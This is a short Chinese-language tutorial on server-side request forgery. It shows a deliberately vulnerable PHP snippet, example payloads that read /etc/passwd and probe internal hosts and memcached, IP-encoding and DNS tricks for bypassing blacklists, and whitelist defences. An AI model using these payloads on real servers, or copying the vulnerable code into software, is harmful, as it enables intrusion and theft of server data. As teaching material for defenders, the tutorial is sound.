SSRF(server-side request
forge)攻击,是一种利用服务器代码缺陷,以服务器身份发送网络请求的攻击。可以通过此种攻击获取服务器上任意文件、识别并攻击服务器所在网络中的其他服务器、把服务器作为跳板对外发起攻击等等。
1、攻击原理
一段存在ssrf漏洞的php伪代码
if (isset($_GET[‘url’])){
$url = $_GET[‘url’];
$image = fopen($url, ‘rb’);
header(“Content-Type: image/png”);
fpassthru($image);
}
2、攻击示例
(1)获取服务器上任意文件:/?url=file:///etc/passwd
(2)探测服务器所在内网:/?url=http://192.168.11.1:8088/test.php
(3)攻击服务器内网中的服务器:/?url=http://192.168.11.1:8088/control.php?off=1
(4)攻击服务器上其他服务:/?url=dict://localhost:11211/stat
(5)把服务器作为跳板:/?url=http://www.baidu.com/info.php?id=’ or
‘a’=’a
3、防护措施
(黑名单)
(1)过滤10.0.0.0/8
、172.16.0.0/12、192.168.0.0/16、localhost私有地址、IPv6地址
(2)过滤file:///、dict://、gopher://、ftp:// 危险schema
(3)对返回的内容进行识别
(4)内网服务开启鉴权(Memcached, Redis, Elasticsearch
and MongoDB)
4、绕过防护
(1)http redirect跳转 绕过过滤(注意设置 :curl_setopt($ch,
CURLOPT_FOLLOWLOCATION, 0);
(2)ip其他编码形式:参考http://every@www.pc-help.org/obscure.htm
206.191.158.55
十进制
191 * 256 * 256 + 158 * 256 + 55 = 12557879
http://206.12557879/obscure.htm
http://206.191.40503/obscure.htm
十六进制
191=0xBF 158=0x9E
http://0xCE.0xBF9E37/obscure.htm
http://0xCE.0xBF.0x9E37/obscure.htm
八进制
206=0316 191=0277 (先转到10进制,再依次取余8,转到8进制)
http://0316.057717067/obscure.htm
http://0316.0277.0117067/obscure.htm
混合进制
http://0xCE.191.0236.0×37/obscure.htm
(3)通配符DNS服务:xip.io(1.11.111.111.xip.io =>
1.11.111.111)
(4)DNS rebinding
5、最佳防护
(1)使用地址白名单
(2)对返回内容进行识别
(3)需要使用互联网资源(比如贴吧使用网络图片)而无法使用白名单的情况:首先禁用
CURLOPT_FOLLOWLOCATION;然后通过域名获取目标ip,并过滤内部ip;最后识别返回的内容是否与假定内容一致